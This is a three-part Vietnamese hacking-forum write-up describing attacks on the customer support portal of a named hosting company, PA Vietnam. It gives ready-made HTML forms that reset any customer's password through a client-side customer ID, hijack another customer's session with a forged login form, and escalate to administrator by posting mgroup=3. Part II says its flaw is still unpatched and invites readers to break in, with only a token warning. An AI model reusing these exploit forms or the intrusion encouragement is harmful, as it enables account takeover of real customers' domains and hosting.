author : Kehieuhoc ( HCE-Group )
PA VIETNAM là công ty bán HOST nổi tiếng ở Việt Nam chắc các bạn củng biết .Họ đang xây dựng và triển khai mô hình hổ trợ khách hàng theo phong cách khoa học như các công ty nổi tiếng khác đang xử dụng .Tò mò với mô hình này mình đã lướt qua xem thử ....
http://support.pavietnam.net
Khà khà ...
khi bạn mua host của họ bạn sẽ được cấp cho một acc để vào trang support. Vào trang này bạn có thể quản lý các host và domain của bạn chẳng hạng như : lấy lại password ,hủy dich vụ ... host và domain của mình. Và tất nhiên nó cho phép mình thay đổi thông tin cá nhân của mình như Password...
Lướt qua bao nhiêu vậy thôi bay giờ chúng ta hãy vào vấng đề chính :
Nhìn sơ qua xét về thi hệ thống support này cũng khá là bảo mật ,nó cho tắt biệt riêng từng acc một.
Lươt thêm một dòng nữa :(chổ quan trọng đây !) vào phần thay đổi thông tin cá nhân :
user posted image
Như các bạn thấy đó ,nó cho phép ta thay đổi mật khẩu mà không thèm hỏi mật khẩu cũ của ta . He he he .... (một chổ hở lớn đây !)
Lại thấy phần Mã khách hàng . Suy luận một tý -> :-P
Thứ nhất thông tin mã khách hàng trả về nhờ vào quá trình đăng nhập ,nó đã tạo ra một sesion lưu thông tin mã khách hàng của ta lại . Theo bạn nghĩ vậy thì có gì mà ta lại quan tâm -> ;;-)
Vấng đề la ở chổ này !
View Source của nó lên xem thử đã :
Code:
<td class="td_2">Maillist</td>
<td class="td_2">:</td>
<td class="td_2"><input type='radio' name='mailto' value='1' CHECKED> Nhận mail<input type='radio' name='mailto' value='0'> Không nhận mail</td>
</tr>
<tr>
<td class="td_2">Thuộc nhóm</td>
<td class="td_2">:</td>
<td class="td_2">
<input name='mgroup' value='1' type='radio' CHECKED> </td>
</tr>
<tr>
<td class="td_1"> </td>
<td class="td_1"> </td>
<td class="td_1">
<input name="upid" value='****' type="hidden">
<input name="pro" type="submit" class="submitbutton" value=" Thay đổi ">
<input name="Submit2" type="reset" class="submitbutton" value=" Làm lại "></td>
</tr>
</table><p style="margin-bottom: -19"></FORM>
<table width="100%" height="10" border="0" cellpadding="0" cellspacing="0">
<tr>
<td><img src="images/spaces.gif" width="1" height="1"></td>
</tr>
</table></td>
Khà khà ,có điều thú vị nữa đây !!!
Bạn tinh mắt một tý thì thấy nó có thẻ
<input name="upid" value='****' type="hidden">
và
Code:
<form action="post.php" method="post">
-> đây chính là mã khách hàng mà ta đăng nhập đây -> vậy ta có một dự đón nếu file "post.php" kiểm tra mã khách hàng muốn thây đổi thông tin bằng cái <input name="upid" value='****' type="hidden"> thì ta có thể lợi dụng được nó !!! :-P (bây giờ thỉ phải thử mới biết được)
Tạo môt file pass.html có nội dung như sau :
Code:
<form action="http://support.pavietnam.net/post.php" method="post">
<table border="0" align="center">
<tr>
<td>Ma khach hang : </td>
<td>
<input name="upid" > </td>
</tr>
<tr>
<td>Mat Khau : </td>
<td><input name="pass" size="20"></td>
</tr>
<tr>
<td>Email</td>
<td><span class="td_2">
<INPUT name='email' class=box_input size="20">
</span> </td>
</tr>
<tr>
<td> </td>
<td><input name="pro" type="submit" class="submitbutton" value="Thay doi"></td>
</tr>
</table>
</form>
Ta nhập vào một mã khách hàng bất kì ví dụ "1001" va pass "123456"
Nhấn Submit
Sau đó vào lại trang login của nó nhập mã khách hàng và pass
-> ;;-) he he he không ngoài dự tính , file post.php kiễm tra mã khách hàng từ phía clien nên thông tin mã khách hàng trên đã bị thay đổi và ta có thể vào và tất nhiên là nắm quyền quản lý domain va host cua khách hàng !!!!
(file post.php cho phép ta truy xuất tới nó mặt dù ta không phải là thành viên)
Phần kết:
- Mức độ lỗi rất nguy hiểm !
-Đã thông báo với PA VIETNAM và họ đã fix !!!
Chào các bạn ! Như các bạn đã biết lần trước PA VIETNAM đã mắc phải một lỗi hết sức nghiêm trọng về hệ thống support của họ , đó là lỗi kiễm tra mã khách hàng từ phía client .
Xem qua bài viết Hack PA VIETNAM phần I :
http://hcegroup.net/Forums/index.php?showtopic=1884
Chú ý : Vì mức độ cực kỳ nguy hiểm mà bug thì chưa được PA VIETNAM fix (đã cố gắng thông báo với PA nhưng không ai trả lời hết ) nên mình nói trước với các bạn là sau khi các bạn đọc những gì mình viết dưới đây các bạn cứ đột nhập vào nhưng nhưng chỉ để tham khảo thôi, đừng có phá phách người ta tội nghiệp. Mình không chịu bất cứ trách nhiệm nào về việc làm của bạn khi áp dụng những gì mình viết dưới đây.
-> Có lẻ là hơi nhàm nhưng phải viết
Phần I cũng tương đối là thú vị phải không các bạn ! Nếu các bạn có nhã hứng chúng ta hãy cùng xem qua phần II -> niềm vui sẽ tăng gấp đôi !
-> he he he !!! Vào vấng đề thôi :
Chiều nay trời mưa to quá ! nguoihung chẳng biết làm gì ngoài việc ngồi vào chiếc PC của mình như mọi khi !
PC vừa khởi động xong , nguoihung liền bật ngay cái Internet Explorer lên , và lướt web .
Dạo qua trang
www.vnn.vn xem một vài tin tức chơi -> -> hvanews.net -> và cuối cùng là vào hvaonline.net , sau khi xem một vài bài viết mới , đột nhiên nguoihung thấy cái topic Hack PAVIETNAM mà mình đã post cách đây vài hôm . Tự nhiên lại thấy ngứa ngáy với cái SUPPORT của PA quá -> ( máu hack hiết nỗi lên rồi ! )
->
http://support.pavietnam.net -> Enter -> Một cái bảng đăng nhập quen thuộc lại hiện ra
Nhập user và pass và login vào -> hi hi ! -> cái mã khách hang của minh lại hiên ra to tứơng -> nhớ lại hôm trước đã báo lỗi cho PA và họ đã fix -> hu hu hu -> vậy thì còn lỗi đâu mà hack với hiết nữa -> đành bó tay vậy -> thôi thì ta dọc nó chơi cho đỡ chán cũng được !
Dọc xong để đó một hồi lâu -> mở cửa sổ IE khác duyệt web xem tin tức tiếp -> chặp sau quay qua cửa sổ support cua PA ! -> oái nó bắt mình đăng nhập lại kìa !
Cháng quá ! ừ thôi thì đăng nhập lại -> nhưng lại bực mình quá ! -> moi cái thằng login này ra xem cái đã ( login.php ) !
-> ngay tại cửa sổ IE đã đăng nhập vào hể thống support nguoihung gõ : "
http://support.pavietnam.net/login.php " -> enter một phát coi -> oái oái , sao lại thế này -> nó không hiên ra cái bảng đăng nhập nữa mà lại chạy thẳng vào " trang chủ " của SUPPORT luôn !
Bực thật ! -> đành mở cửa sổ IE khác thử xem ! -> hi hi hi bây giờ thì cái bảng đăng nhập nó mới chiệu hiên ra ! -> nhưng bây giờ làm gì nữa đây -> không biêt làm gì hêt ngoài chuyện ngồi suy luận -> -> suy nghĩ một tý !
Quay lại các bước mình đã đi qua và giải thích thử xem có gì đáng chú ý không ->
Đầu tiên thì ta đăng nhập vào hệ thông ( không có gì đáng chú ý cả )
-> tiếp theo để một hồi lâu thì nó bắt mình đăng nhập lại ( session đã hết thời gian và không có sử dụng cookie )
-> tiếp theo ta nhập lại và chay link tới file " login.php " ngay trên cửa sổ IE đã đăng nhập thì nó lại chạy thẳng vào trang chủ ( chổ này hình như có vấn đề ! ) -> nhưng mà vấn đề gì vậy ? -> không biết nữa để suy luận cái đả
Thứ nhất : sở dĩ chúng ta bị quay lai trang chủ luôn là do một biến session nào đó được tạo khi ta đã login và file login.php phải có một đoạn là " nếu nhận được giá trị này thì quay về trang chủ " -> nhưng như vậy thì chẳng có gì hết !
he he he ! đừng xem thường chổ này ! -> cái đáng chú ý là cái biến session này phải có dạng tổng quát , tức là nó phải làm sao khi không chỉ riêng một tài khoản mà tất cả các tài khoản khác khi làm như nguoihung thì cũng phải bị quay về trang chủ . Vậy thì mình sẽ hình dung cái biến session đó có dạng đại khái như :
Code:
session_register("login");
$login="true";
-> vậy thì ở đây mình được gì ?
-> có chứ ! mình được cấp session như bao khách hàng hàng (đặt biệt là ADMIN )
Tới đây chúng ta đã đi được hình như là nữa chặng đường rồi đó -> hãy suy luận thêm một tý nữa đi !
Nhớ lại lúc ta login -> thấy xuất hiện cái mã khách hàng to tướng ở trang chủ -> khà khà -> vậy thì cần phải có thêm một biến session nữa đây -> có lẽ nó sẽ như vầy :
CODE
session_register("makhachhang");
$makhachhang="mã khách hàng ta nhập vào lúc đăng nhập";
-> Ha ha ha -> cuối cùng thì vấn đề là chổ này đây -> bây giờ ta có một dự đoán -> nếu thằng " login.php " này kiễm tra quá đăng nhập yếu kém thì ta có thể tậng dụng được sơ hở này để thay đổi cái session "ma khach hàng trên "
Khà khà ! còn đợi gì nữa ! bây giờ ta phải thử thôi !
Tạo môt file login.html có nội dung như sau :
Code:
<form name="login_form" method="post" action="http://support.pavietnam.net/check.php?action=login">
<table border="0" align="center">
<tr>
<td class="color_2"> </td>
<td class="color_2"><strong>DANG NHAP </strong></td>
</tr>
<tr>
<td>Ma khach hang </td>
<td> <div align="center">
<input name="username" type="text" size="20" tabindex="1">
</div> <div align="center"> </div></td>
</tr>
<tr>
<td></td>
<td>
</td>
</tr>
<tr>
<td> </td>
<td> <input name="Submit" type="submit" class="submitbutton" value="Dang nhap"> </td>
</tr>
</table>
</form>
Lưu file login.html vào PC của ta
Sau đó đăng nhập vào SUPPORT của PA -> gọi file login.html ngay trên cửa sổ trinh duyệt mà ta mới vừa đăng nhập !
Oái oái cái file login lúc nãy ta tạo không có ô nhập pass vậy trời -> thôi thì nhập user không vậy ,vi dụ : pa-2503
-> Enter thử xem ! -> oái nó báo " Mật khẩu không đúng " -> làm sao bây giờ -> cứ nhấn OK ->
Sau khi nhấn OK , nhìn lại thấy nó đưa ta trở về trang "index.php" (trang chủ) -> Khà khà -> nhưng lần này không như lần trước -> Mã khách hàng hiện lên là : " pa-2503 " và tất nhiên là những domain và hosting của khách hàng này củng hiện ra luôn -> Bây giờ làm gì nữa đây -> hi hi hi khó quá .....
Phần kết :
- Mức độ lỗi cực kỳ nguy hiễm !
- Các bạn đọc xong nhớ báo cho PA dum mình nha , đừng có phá họ làm gì
Nếu ai có hứng thú muốn xem tiếp thì hãy đợi : "Hack PAVIETNAM phần III "
=================================================
Chào các bạn ! Hôm nay chúng ta sẽ tiếp tục đi vào nghiên cứu về hệ thống SUPPORT của PA VietNam !
Trước khi vào vấn đề các bạn hãy tham khảo qua:
Hack PA VIETNAM phần I và Hack PA VIETNAM phần II
Nào chúng ta cùng đi vào vấng đề !
Sau bài viết Hack PA phần II mình có hứa với các bạn về bài viết phần III -> chính vì lời hứa này làm phải chạy đôn chạy đáo -> kiếm cho được cái lỗi để viết tiếp phần III -> khổ quá !
Lần trước báo cho PA 2 bug nguy hiểm , nên họ đã cẩn thận hơn rất nhiều ! -> trùi ui làm sao bây giờ
-> tìm bug mà chẳng có source để nghiên cứu thì làm sao mà tìm bây giờ !
Định bụng chạy lên công ty của PA xin luôn cái Source về nghiên cứu cho dễ -> nhưng nghĩ lại làm biến quá ! -> thôi thì bật PC lên nghiên cứu thôi !
http://support.pavietnam.net -> Enter 1 phát -> đăng nhập vào hệ thống Support của PA
Lướt qua rồi lướt lại chẳng thấy cái gì đáng chủ ý cả -> buồn ghê gớm !
Chẳng biết làm gì nữa -> he he -> buồn wá quay qua lục lại những bài viết về Hack PA của mình đọc lại chơi -> xem thử có khuyết điểm nào không
Xem đi rồi xem lại thấy những bài viết của mình cũng tạm tạm -> nhưng chưa tìm được khuyết điểm trong bài viết của mình thì lại thấy khuyết điểm của PA VietNam trước rùi ! -> thú vị nữa đây !
Nếu đã đọc qua bài viết phần I -> bạn nào tò mò thì khi nhìn vào cái hình minh hoạ sẽ thắc mắc ngay (xem hình cái đã !) :
user posted image
Các bạn đã xem lại hình rùi đó ! -> như vậy có gì đâu mà théc méc ta !
-> Khà khà có đấy -> ta hãy nhìn kỹ lại và để ý đến cái dòng cuối cùng -> có dòng chử " thuộc nhóm " -> trùi ui cái đây để làm vậy ta
-> chắc nó muốn phân biệt giữa khách hàng và ai đó !
-> nhưng mà ở đây là khách của PA thì còn ai nữa đây -> không ai cả , ngoại trừ lão mà trả lời câu hỏi của khách hàng trong support !
-> Và lão này tất nhiên là có quyền nhiều hơn là khách hàng bởi lão xem được tất các yêu cầu của khách hàng mà -> vậy lão là ADMIN rùi -> hi hi
-> Như vậy là chúng ta đã giải đáp được théc méc rùi đó -> bây giờ làm nữa đây !
-> Chả biết làm gì hết -> ngoài chuyện ngồi ngẫm nghĩ !
Bây giờ ta view source lên xem lại ! -> khà khà
Các bạn hãy tìm đến ô check box của dòng chử " Thuộc nhóm "
Chính là cái thẻ này đây :
<input name='mgroup' value='1' type='radio' CHECKED>
Chúng ta hãy suy luận thêm một tý :
"mgroup" có giá trị là "1" thì sẽ là khách hàng -> vậy "mgroup" có giá trị bao nhiêu thì sẽ là ADMIN
-> giá trị này có lẽ sẽ gần con số "1" , chứ chẳng lẽ ...
-> Vậy có thể bằng "-1" , "0" , hoặc "2" ,hoặc "3"
-> trùi ui -> bây giờ phải thử cái đã !
Tạo một file test.html có nội dung như sau:
CODE
<form action="http://support.pavietnam.net/post.php" method="post">
<input name='mgroup' value=''>
<input name="upid" value='Mã khách hàng của ta' type="hidden">
<input name="pro" type="submit" class="submitbutton" value=" Thay đổi ">
</FORM>
Lưu lại và chạy nó lên bằng trình duyệt mà ta đã login -> sau đó ta bắt đầu nhập giá trị mà ta đã suy luận ở trên -> trui ui mệt wá
-> Nhập con sô đầu tiên "-1" -> submit -> xong nó mất luôn cái chử khách hàng -> chẳng sao cả -> ta log out và login lại là được
-> Sau 3 lần test -> vẫn không có gì hết -> giờ đến lần thứ tư giá trị là con số "3" -> Submit thử coi -> khà khà khà
Sau khi logout và login lại -> điều thú vị đã xãy ra -> nhìn lại thấy ta đang thuộc nhóm Administrator -> Tức có quyền cao nhất !
Phần kết :
" Đừng bao giờ bỏ qua nhưng chi tiết dù có là nhỏ nhoi -> đôi khi nó lại có ích cho ta "
-> mức độ lỗi rất nguy hiễm
-> PA VietNam đã fix
"Nếu các bạn có nhã hứng hãy đoán xem hack PA VietNam phần IV"
-------- KeHieuHoc - HCEGROUP ---------